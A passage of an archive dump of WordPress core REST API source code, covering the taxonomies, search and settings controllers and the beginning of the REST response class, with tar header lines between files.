			return apply_filters( 'rest_prepare_taxonomy', new WP_REST_Response( array() ), $taxonomy, $request );
		}

		$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $taxonomy->label;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $taxonomy->name;
		}

		if ( in_array( 'capabilities', $fields, true ) ) {
			$data['capabilities'] = $taxonomy->cap;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $taxonomy->description;
		}

		if ( in_array( 'labels', $fields, true ) ) {
			$data['labels'] = $taxonomy->labels;
		}

		if ( in_array( 'types', $fields, true ) ) {
			$data['types'] = array_values( $taxonomy->object_type );
		}

		if ( in_array( 'show_cloud', $fields, true ) ) {
			$data['show_cloud'] = $taxonomy->show_tagcloud;
		}

		if ( in_array( 'hierarchical', $fields, true ) ) {
			$data['hierarchical'] = $taxonomy->hierarchical;
		}

		if ( in_array( 'rest_base', $fields, true ) ) {
			$data['rest_base'] = $base;
		}

		if ( in_array( 'rest_namespace', $fields, true ) ) {
			$data['rest_namespace'] = $taxonomy->rest_namespace;
		}

		if ( in_array( 'visibility', $fields, true ) ) {
			$data['visibility'] = array(
				'public'             => (bool) $taxonomy->public,
				'publicly_queryable' => (bool) $taxonomy->publicly_queryable,
				'show_admin_column'  => (bool) $taxonomy->show_admin_column,
				'show_in_nav_menus'  => (bool) $taxonomy->show_in_nav_menus,
				'show_in_quick_edit' => (bool) $taxonomy->show_in_quick_edit,
				'show_ui'            => (bool) $taxonomy->show_ui,
			);
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $taxonomy ) );
		}

		/**
		 * Filters a taxonomy returned from the REST API.
		 *
		 * Allows modification of the taxonomy data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Taxonomy      $item     The original taxonomy object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_taxonomy', $response, $taxonomy, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.1.0
	 *
	 * @param WP_Taxonomy $taxonomy The taxonomy.
	 * @return array Links for the given taxonomy.
	 */
	protected function prepare_links( $taxonomy ) {
		return array(
			'collection'              => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'https://api.w.org/items' => array(
				'href' => rest_url( rest_get_route_for_taxonomy_items( $taxonomy->name ) ),
			),
		);
	}

	/**
	 * Retrieves the taxonomy's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 * @since 5.0.0 The `visibility` property was added.
	 * @since 5.9.0 The `rest_namespace` property was added.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'taxonomy',
			'type'       => 'object',
			'properties' => array(
				'capabilities'   => array(
					'description' => __( 'All capabilities used by the taxonomy.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'description'    => array(
					'description' => __( 'A human-readable description of the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'hierarchical'   => array(
					'description' => __( 'Whether or not the taxonomy should have children.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'labels'         => array(
					'description' => __( 'Human-readable labels for the taxonomy for various contexts.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'name'           => array(
					'description' => __( 'The title for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'slug'           => array(
					'description' => __( 'An alphanumeric identifier for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'show_cloud'     => array(
					'description' => __( 'Whether or not the term cloud should be displayed.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'types'          => array(
					'description' => __( 'Types associated with the taxonomy.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'rest_base'      => array(
					'description' => __( 'REST base route for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'rest_namespace' => array(
					'description' => __( 'REST namespace route for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'visibility'     => array(
					'description' => __( 'The visibility settings for the taxonomy.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
					'properties'  => array(
						'public'             => array(
							'description' => __( 'Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users.' ),
							'type'        => 'boolean',
						),
						'publicly_queryable' => array(
							'description' => __( 'Whether the taxonomy is publicly queryable.' ),
							'type'        => 'boolean',
						),
						'show_ui'            => array(
							'description' => __( 'Whether to generate a default UI for managing this taxonomy.' ),
							'type'        => 'boolean',
						),
						'show_admin_column'  => array(
							'description' => __( 'Whether to allow automatic creation of taxonomy columns on associated post-types table.' ),
							'type'        => 'boolean',
						),
						'show_in_nav_menus'  => array(
							'description' => __( 'Whether to make the taxonomy available for selection in navigation menus.' ),
							'type'        => 'boolean',
						),
						'show_in_quick_edit' => array(
							'description' => __( 'Whether to show the taxonomy in the quick/bulk edit panel.' ),
							'type'        => 'boolean',
						),

					),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$new_params            = array();
		$new_params['context'] = $this->get_context_param( array( 'default' => 'view' ) );
		$new_params['type']    = array(
			'description' => __( 'Limit results to taxonomies associated with a specific post type.' ),
			'type'        => 'string',
		);
		return $new_params;
	}
}
endpoints/class-wp-rest-search-controller.php000064400000026331151724720270015424 0ustar00<?php
/**
 * REST API: WP_REST_Search_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class to search through all WordPress content via the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Search_Controller extends WP_REST_Controller {

	/**
	 * ID property name.
	 */
	const PROP_ID = 'id';

	/**
	 * Title property name.
	 */
	const PROP_TITLE = 'title';

	/**
	 * URL property name.
	 */
	const PROP_URL = 'url';

	/**
	 * Type property name.
	 */
	const PROP_TYPE = 'type';

	/**
	 * Subtype property name.
	 */
	const PROP_SUBTYPE = 'subtype';

	/**
	 * Identifier for the 'any' type.
	 */
	const TYPE_ANY = 'any';

	/**
	 * Search handlers used by the controller.
	 *
	 * @since 5.0.0
	 * @var WP_REST_Search_Handler[]
	 */
	protected $search_handlers = array();

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 *
	 * @param array $search_handlers List of search handlers to use in the controller. Each search
	 *                               handler instance must extend the `WP_REST_Search_Handler` class.
	 */
	public function __construct( array $search_handlers ) {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'search';

		foreach ( $search_handlers as $search_handler ) {
			if ( ! $search_handler instanceof WP_REST_Search_Handler ) {
				_doing_it_wrong(
					__METHOD__,
					/* translators: %s: PHP class name. */
					sprintf( __( 'REST search handlers must extend the %s class.' ), 'WP_REST_Search_Handler' ),
					'5.0.0'
				);
				continue;
			}

			$this->search_handlers[ $search_handler->get_type() ] = $search_handler;
		}
	}

	/**
	 * Registers the routes for the search controller.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permission_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to search content.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has search access, WP_Error object otherwise.
	 */
	public function get_items_permission_check( $request ) {
		return true;
	}

	/**
	 * Retrieves a collection of search results.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$handler = $this->get_search_handler( $request );
		if ( is_wp_error( $handler ) ) {
			return $handler;
		}

		$result = $handler->search_items( $request );

		if ( ! isset( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! is_array( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! isset( $result[ WP_REST_Search_Handler::RESULT_TOTAL ] ) ) {
			return new WP_Error(
				'rest_search_handler_error',
				__( 'Internal search handler error.' ),
				array( 'status' => 500 )
			);
		}

		$ids = $result[ WP_REST_Search_Handler::RESULT_IDS ];

		$is_head_request = $request->is_method( 'HEAD' );
		if ( ! $is_head_request ) {
			$results = array();

			foreach ( $ids as $id ) {
				$data      = $this->prepare_item_for_response( $id, $request );
				$results[] = $this->prepare_response_for_collection( $data );
			}
		}

		$total     = (int) $result[ WP_REST_Search_Handler::RESULT_TOTAL ];
		$page      = (int) $request['page'];
		$per_page  = (int) $request['per_page'];
		$max_pages = (int) ceil( $total / $per_page );

		if ( $page > $max_pages && $total > 0 ) {
			return new WP_Error(
				'rest_search_invalid_page_number',
				__( 'The page number requested is larger than the number of pages available.' ),
				array( 'status' => 400 )
			);
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $results );
		$response->header( 'X-WP-Total', $total );
		$response->header( 'X-WP-TotalPages', $max_pages );

		$request_params = $request->get_query_params();
		$base           = add_query_arg( urlencode_deep( $request_params ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );

		if ( $page > 1 ) {
			$prev_link = add_query_arg( 'page', $page - 1, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $page < $max_pages ) {
			$next_link = add_query_arg( 'page', $page + 1, $base );
			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Prepares a single search result for response.
	 *
	 * @since 5.0.0
	 * @since 5.6.0 The `$id` parameter can accept a string.
	 * @since 5.9.0 Renamed `$id` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param int|string      $item    ID of the item to prepare.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$item_id = $item;

		$handler = $this->get_search_handler( $request );
		if ( is_wp_error( $handler ) ) {
			return new WP_REST_Response();
		}

		$fields = $this->get_fields_for_response( $request );

		$data = $handler->prepare_item( $item_id, $fields );
		$data = $this->add_additional_fields_to_object( $data, $request );

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links               = $handler->prepare_item_links( $item_id );
			$links['collection'] = array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			);
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Retrieves the item schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$types    = array();
		$subtypes = array();

		foreach ( $this->search_handlers as $search_handler ) {
			$types[]  = $search_handler->get_type();
			$subtypes = array_merge( $subtypes, $search_handler->get_subtypes() );
		}

		$types    = array_unique( $types );
		$subtypes = array_unique( $subtypes );

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'search-result',
			'type'       => 'object',
			'properties' => array(
				self::PROP_ID      => array(
					'description' => __( 'Unique identifier for the object.' ),
					'type'        => array( 'integer', 'string' ),
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_TITLE   => array(
					'description' => __( 'The title for the object.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_URL     => array(
					'description' => __( 'URL to the object.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_TYPE    => array(
					'description' => __( 'Object type.' ),
					'type'        => 'string',
					'enum'        => $types,
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_SUBTYPE => array(
					'description' => __( 'Object subtype.' ),
					'type'        => 'string',
					'enum'        => $subtypes,
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for the search results collection.
	 *
	 * @since 5.0.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$types    = array();
		$subtypes = array();

		foreach ( $this->search_handlers as $search_handler ) {
			$types[]  = $search_handler->get_type();
			$subtypes = array_merge( $subtypes, $search_handler->get_subtypes() );
		}

		$types    = array_unique( $types );
		$subtypes = array_unique( $subtypes );

		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params[ self::PROP_TYPE ] = array(
			'default'     => $types[0],
			'description' => __( 'Limit results to items of an object type.' ),
			'type'        => 'string',
			'enum'        => $types,
		);

		$query_params[ self::PROP_SUBTYPE ] = array(
			'default'           => self::TYPE_ANY,
			'description'       => __( 'Limit results to items of one or more object subtypes.' ),
			'type'              => 'array',
			'items'             => array(
				'enum' => array_merge( $subtypes, array( self::TYPE_ANY ) ),
				'type' => 'string',
			),
			'sanitize_callback' => array( $this, 'sanitize_subtypes' ),
		);

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		return $query_params;
	}

	/**
	 * Sanitizes the list of subtypes, to ensure only subtypes of the passed type are included.
	 *
	 * @since 5.0.0
	 *
	 * @param string|array    $subtypes  One or more subtypes.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @param string          $parameter Parameter name.
	 * @return string[]|WP_Error List of valid subtypes, or WP_Error object on failure.
	 */
	public function sanitize_subtypes( $subtypes, $request, $parameter ) {
		$subtypes = wp_parse_slug_list( $subtypes );

		$subtypes = rest_parse_request_arg( $subtypes, $request, $parameter );
		if ( is_wp_error( $subtypes ) ) {
			return $subtypes;
		}

		// 'any' overrides any other subtype.
		if ( in_array( self::TYPE_ANY, $subtypes, true ) ) {
			return array( self::TYPE_ANY );
		}

		$handler = $this->get_search_handler( $request );
		if ( is_wp_error( $handler ) ) {
			return $handler;
		}

		return array_intersect( $subtypes, $handler->get_subtypes() );
	}

	/**
	 * Gets the search handler to handle the current request.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Search_Handler|WP_Error Search handler for the request type, or WP_Error object on failure.
	 */
	protected function get_search_handler( $request ) {
		$type = $request->get_param( self::PROP_TYPE );

		if ( ! $type || ! is_string( $type ) || ! isset( $this->search_handlers[ $type ] ) ) {
			return new WP_Error(
				'rest_search_invalid_type',
				__( 'Invalid type parameter.' ),
				array( 'status' => 400 )
			);
		}

		return $this->search_handlers[ $type ];
	}
}
endpoints/class-wp-rest-settings-controller.php000060400000024165151724720270016016 0ustar00<?php
/**
 * REST API: WP_REST_Settings_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage a site's settings via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Settings_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'settings';
	}

	/**
	 * Registers the routes for the site's settings.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'args'                => array(),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read and manage settings.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool True if the request has read access for the item, otherwise false.
	 */
	public function get_item_permissions_check( $request ) {
		return current_user_can( 'manage_options' );
	}

	/**
	 * Retrieves the settings.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return array|WP_Error Array on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$options  = $this->get_registered_options();
		$response = array();

		foreach ( $options as $name => $args ) {
			/**
			 * Filters the value of a setting recognized by the REST API.
			 *
			 * Allow hijacking the setting value and overriding the built-in behavior by returning a
			 * non-null value.  The returned value will be presented as the setting value instead.
			 *
			 * @since 4.7.0
			 *
			 * @param mixed  $result Value to use for the requested setting. Can be a scalar
			 *                       matching the registered schema for the setting, or null to
			 *                       follow the default get_option() behavior.
			 * @param string $name   Setting name (as shown in REST API responses).
			 * @param array  $args   Arguments passed to register_setting() for this setting.
			 */
			$response[ $name ] = apply_filters( 'rest_pre_get_setting', null, $name, $args );

			if ( is_null( $response[ $name ] ) ) {
				// Default to a null value as "null" in the response means "not set".
				$response[ $name ] = get_option( $args['option_name'], $args['schema']['default'] );
			}

			/*
			 * Because get_option() is lossy, we have to
			 * cast values to the type they are registered with.
			 */
			$response[ $name ] = $this->prepare_value( $response[ $name ], $args['schema'] );
		}

		return $response;
	}

	/**
	 * Prepares a value for output based off a schema array.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed $value  Value to prepare.
	 * @param array $schema Schema to match.
	 * @return mixed The prepared value.
	 */
	protected function prepare_value( $value, $schema ) {
		/*
		 * If the value is not valid by the schema, set the value to null.
		 * Null values are specifically non-destructive, so this will not cause
		 * overwriting the current invalid value to null.
		 */
		if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) {
			return null;
		}

		return rest_sanitize_value_from_schema( $value, $schema );
	}

	/**
	 * Updates settings for the settings object.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return array|WP_Error Array on success, or error object on failure.
	 */
	public function update_item( $request ) {
		$options = $this->get_registered_options();

		$params = $request->get_params();

		foreach ( $options as $name => $args ) {
			if ( ! array_key_exists( $name, $params ) ) {
				continue;
			}

			/**
			 * Filters whether to preempt a setting value update via the REST API.
			 *
			 * Allows hijacking the setting update logic and overriding the built-in behavior by
			 * returning true.
			 *
			 * @since 4.7.0
			 *
			 * @param bool   $result Whether to override the default behavior for updating the
			 *                       value of a setting.
			 * @param string $name   Setting name (as shown in REST API responses).
			 * @param mixed  $value  Updated setting value.
			 * @param array  $args   Arguments passed to register_setting() for this setting.
			 */
			$updated = apply_filters( 'rest_pre_update_setting', false, $name, $request[ $name ], $args );

			if ( $updated ) {
				continue;
			}

			/*
			 * A null value for an option would have the same effect as
			 * deleting the option from the database, and relying on the
			 * default value.
			 */
			if ( is_null( $request[ $name ] ) ) {
				/*
				 * A null value is returned in the response for any option
				 * that has a non-scalar value.
				 *
				 * To protect clients from accidentally including the null
				 * values from a response object in a request, we do not allow
				 * options with values that don't pass validation to be updated to null.
				 * Without this added protection a client could mistakenly
				 * delete all options that have invalid values from the
				 * database.
				 */
				if ( is_wp_error( rest_validate_value_from_schema( get_option( $args['option_name'], false ), $args['schema'] ) ) ) {
					return new WP_Error(
						'rest_invalid_stored_value',
						/* translators: %s: Property name. */
						sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ),
						array( 'status' => 500 )
					);
				}

				delete_option( $args['option_name'] );
			} else {
				update_option( $args['option_name'], $request[ $name ] );
			}
		}

		return $this->get_item( $request );
	}

	/**
	 * Retrieves all of the registered options for the Settings API.
	 *
	 * @since 4.7.0
	 *
	 * @return array Array of registered options.
	 */
	protected function get_registered_options() {
		$rest_options = array();

		foreach ( get_registered_settings() as $name => $args ) {
			if ( empty( $args['show_in_rest'] ) ) {
				continue;
			}

			$rest_args = array();

			if ( is_array( $args['show_in_rest'] ) ) {
				$rest_args = $args['show_in_rest'];
			}

			$defaults = array(
				'name'   => ! empty( $rest_args['name'] ) ? $rest_args['name'] : $name,
				'schema' => array(),
			);

			$rest_args = array_merge( $defaults, $rest_args );

			$default_schema = array(
				'type'        => empty( $args['type'] ) ? null : $args['type'],
				'title'       => empty( $args['label'] ) ? '' : $args['label'],
				'description' => empty( $args['description'] ) ? '' : $args['description'],
				'default'     => isset( $args['default'] ) ? $args['default'] : null,
			);

			$rest_args['schema']      = array_merge( $default_schema, $rest_args['schema'] );
			$rest_args['option_name'] = $name;

			// Skip over settings that don't have a defined type in the schema.
			if ( empty( $rest_args['schema']['type'] ) ) {
				continue;
			}

			/*
			 * Allow the supported types for settings, as we don't want invalid types
			 * to be updated with arbitrary values that we can't do decent sanitizing for.
			 */
			if ( ! in_array( $rest_args['schema']['type'], array( 'number', 'integer', 'string', 'boolean', 'array', 'object' ), true ) ) {
				continue;
			}

			$rest_args['schema'] = rest_default_additional_properties_to_false( $rest_args['schema'] );

			$rest_options[ $rest_args['name'] ] = $rest_args;
		}

		return $rest_options;
	}

	/**
	 * Retrieves the site setting schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$options = $this->get_registered_options();

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'settings',
			'type'       => 'object',
			'properties' => array(),
		);

		foreach ( $options as $option_name => $option ) {
			$schema['properties'][ $option_name ]                = $option['schema'];
			$schema['properties'][ $option_name ]['arg_options'] = array(
				'sanitize_callback' => array( $this, 'sanitize_callback' ),
			);
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Custom sanitize callback used for all options to allow the use of 'null'.
	 *
	 * By default, the schema of settings will throw an error if a value is set to
	 * `null` as it's not a valid value for something like "type => string". We
	 * provide a wrapper sanitizer to allow the use of `null`.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value   The value for the setting.
	 * @param WP_REST_Request $request The request object.
	 * @param string          $param   The parameter name.
	 * @return mixed|WP_Error
	 */
	public function sanitize_callback( $value, $request, $param ) {
		if ( is_null( $value ) ) {
			return $value;
		}

		return rest_parse_request_arg( $value, $request, $param );
	}

	/**
	 * Recursively add additionalProperties = false to all objects in a schema
	 * if no additionalProperties setting is specified.
	 *
	 * This is needed to restrict properties of objects in settings values to only
	 * registered items, as the REST API will allow additional properties by
	 * default.
	 *
	 * @since 4.9.0
	 * @deprecated 6.1.0 Use {@see rest_default_additional_properties_to_false()} instead.
	 *
	 * @param array $schema The schema array.
	 * @return array
	 */
	protected function set_additional_properties_to_false( $schema ) {
		_deprecated_function( __METHOD__, '6.1.0', 'rest_default_additional_properties_to_false()' );

		return rest_default_additional_properties_to_false( $schema );
	}
}
class-wp-rest-response.php000060400000016276151724720270011634 0ustar00<?php
/**
 * REST API: WP_REST_Response class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Core class used to implement a REST response object.
 *
 * @since 4.4.0
 *
 * @see WP_HTTP_Response
 */
class WP_REST_Response extends WP_HTTP_Response {

	/**
	 * Links related to the response.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	protected $links = array();

	/**
	 * The route that was to create the response.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	protected $matched_route = '';

	/**
	 * The handler that was used to create the response.
	 *
	 * @since 4.4.0
	 * @var null|array
	 */
	protected $matched_handler = null;

	/**
	 * Adds a link to the response.
	 *
	 * @internal The $rel parameter is first, as this looks nicer when sending multiple.
	 *
	 * @since 4.4.0
	 *
	 * @link https://tools.ietf.org/html/rfc5988
	 * @link https://www.iana.org/assignments/link-relations/link-relations.xml
	 *
	 * @param string $rel        Link relation. Either an IANA registered type,
	 *                           or an absolute URL.
	 * @param string $href       Target URI for the link.
	 * @param array  $attributes Optional. Link parameters to send along with the URL. Default empty array.
	 */
	public function add_link( $rel, $href, $attributes = array() ) {
		if ( empty( $this->links[ $rel ] ) ) {
			$this->links[ $rel ] = array();
		}

		if ( isset( $attributes['href'] ) ) {
			// Remove the href attribute, as it's used for the main URL.
			unset( $attributes['href'] );
		}

		$this->links[ $rel ][] = array(
			'href'       => $href,
			'attributes' => $attributes,
		);
	}

	/**
	 * Removes a link from the response.
	 *
	 * @since 4.4.0
	 *
	 * @param string $rel  Link relation. Either an IANA registered type, or an absolute URL.
	 * @param string $href Optional. Only remove links for the relation matching the given href.
	 *                     Default null.
	 */
	public function remove_link( $rel, $href = null ) {
		if ( ! isset( $this->links[ $rel ] ) ) {
			return;
		}

		if ( $href ) {
			$this->links[ $rel ] = wp_list_filter( $this->links[ $rel ], array( 'href' => $href ), 'NOT' );
		} else {
			$this->links[ $rel ] = array();
		}

		if ( ! $this->links[ $rel ] ) {
			unset( $this->links[ $rel ] );
		}
	}

	/**
	 * Adds multiple links to the response.
	 *
	 * Link data should be an associative array with link relation as the key.
	 * The value can either be an associative array of link attributes
	 * (including `href` with the URL for the response), or a list of these
	 * associative arrays.
	 *
	 * @since 4.4.0
	 *
	 * @param array $links Map of link relation to list of links.
	 */
	public function add_links( $links ) {
		foreach ( $links as $rel => $set ) {
			// If it's a single link, wrap with an array for consistent handling.
			if ( isset( $set['href'] ) ) {
				$set = array( $set );
			}

			foreach ( $set as $attributes ) {
				$this->add_link( $rel, $attributes['href'], $attributes );
			}
		}
	}

	/**
	 * Retrieves links for the response.
	 *
	 * @since 4.4.0
	 *
	 * @return array List of links.
	 */
	public function get_links() {
		return $this->links;
	}

	/**
	 * Sets a single link header.
	 *
	 * @internal The $rel parameter is first, as this looks nicer when sending multiple.
	 *
	 * @since 4.4.0
	 *
	 * @link https://tools.ietf.org/html/rfc5988
	 * @link https://www.iana.org/assignments/link-relations/link-relations.xml
	 *
	 * @param string $rel   Link relation. Either an IANA registered type, or an absolute URL.
	 * @param string $link  Target IRI for the link.
	 * @param array  $other Optional. Other parameters to send, as an associative array.
	 *                      Default empty array.
	 */
	public function link_header( $rel, $link, $other = array() ) {
		$header = '<' . $link . '>; rel="' . $rel . '"';

		foreach ( $other as $key => $value ) {
			if ( 'title' === $key ) {
				$value = '"' . $value . '"';
			}

			$header .= '; ' . $key . '=' . $value;
		}
		$this->header( 'Link', $header, false );
	}

	/**
	 * Retrieves the route that was used.
	 *
	 * @since 4.4.0
	 *
	 * @return string The matched route.
	 */
	public function get_matched_route() {
		return $this->matched_route;
	}

	/**
	 * Sets the route (regex for path) that caused the response.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route name.
	 */
	public function set_matched_route( $route ) {
		$this->matched_route = $route;
	}

	/**
	 * Retrieves the handler that was used to generate the response.
	 *
	 * @since 4.4.0
	 *
	 * @return null|array The handler that was used to create the response.
	 */
	public function get_matched_handler() {
		return $this->matched_handler;
	}

	/**
	 * Sets the handler that was responsible for generating the response.
	 *
	 * @since 4.4.0
	 *
	 * @param array $handler The matched handler.
	 */
	public function set_matched_handler( $handler ) {
		$this->matched_handler = $handler;
	}

	/**
	 * Checks if the response is an error, i.e. >= 400 response code.
	 *
	 * @since 4.4.0
	 *
	 * @return bool Whether the response is an error.
	 */
	public function is_error() {
		return $this->get_status() >= 400;
	}

	/**
	 * Retrieves a WP_Error object from the response.
	 *
	 * @since 4.4.0
	 *
	 * @return WP_Error|null WP_Error or null on not an errored response.
	 */
	public function as_error() {
		if ( ! $this->is_error() ) {
			return null;
		}

		$error = new WP_Error();

		if ( is_array( $this->get_data() ) ) {
			$data = $this->get_data();
			$error->add( $data['code'], $data['message'], $data['data'] );

			if ( ! empty( $data['additional_errors'] ) ) {
				foreach ( $data['additional_errors'] as $err ) {
					$error->add( $err['code'], $err['message'], $err['data'] );
				}
			}
		} else {
			$error->add( $this->get_status(), '', array( 'status' => $this->get_status() ) );
		}

		return $error;
	}

	/**
	 * Retrieves the CURIEs (compact URIs) used for relations.
	 *
	 * @since 4.5.0
	 *
	 * @return array Compact URIs.
	 */
	public function get_curies() {
		$curies = array(
			array(
				'name'      => 'wp',
